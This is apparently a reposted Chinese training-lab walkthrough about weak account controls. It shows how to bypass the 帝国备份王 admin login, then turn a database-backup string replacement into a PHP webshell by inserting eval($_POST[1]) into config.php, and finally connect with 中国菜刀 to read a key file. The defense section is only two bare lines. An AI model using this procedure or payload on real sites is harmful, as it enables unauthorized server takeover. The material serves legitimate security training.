i春秋:账户体系控制不严带来的越权

转载

喜欢散步 于 2015-06-01 08:55:18 发布 1950 收藏
文章标签： 入侵 初学 安全 渗透 漏洞
实验环境

- 实验环境
  - 操作机：Windows XP
  - 目标机：Windows 2003
- 目标网址：www.test.ichunqiu
- 实验工具：
  - 帝国.exe
  - 御剑后台扫描工具
  - 中国菜刀

实验目的
本节课程通过对账户体系控制不严/越权操作的演示，让大家了解此种危害，并学习应对此类危害的防御策略。

实验思路
1.扫描目标敏感目录

2.绕过帝国备份王登陆后台

3.备份数据库获取Webshell权限

4.越权防御的理论方案

实验步骤
1

扫描目标敏感目录

打开目标网站www.test.ichunqiu使用御剑后台扫描工具 ,进行扫描站点。

2

绕过帝国备份王登陆后台

双击打开http://www.test.ichunqiu/upload/admin.php使用帝国.exe绕过验证进行登陆。打开帝国05.exe工具，将网站的后台登陆地址复制下来(把index改为admin)粘贴到URl中,点击登陆。

3

备份数据库获取Webshell权限

成功登陆到后台,打开备份数据。点击备份数据,点击开始备份,然后点击确定,成功备份数据。

点击管理备份目录,鼠标下方的是备份文件的地址。将地址wordpress_20150120152132复制(选择目录旁的地址)。点击替换目录文件。在替换目录的文本框中粘贴刚才复制过来的地址wordpress_20150120152132。将字符的文本框输入$b_table=。将替换为的文本框输入eval($_POST[1]） 和$b_table=,然后点击开始替换,确定替换。

对地址进行拼接并复制到菜刀进行链接，这个地址就是Webshell的地址。

```
http://www.test.com/upload/bdata/wordpress_20150120152132(随机变化)/config.php
```

打开中国菜刀将拼接地址粘贴到地址栏中,输入密码为1 脚本类型为php脚本,点击添加。双击打开,在C盘根目录下获取KEY文件信息。

4

越权防御的理论方案

1.白盒测试

2.黑盒测试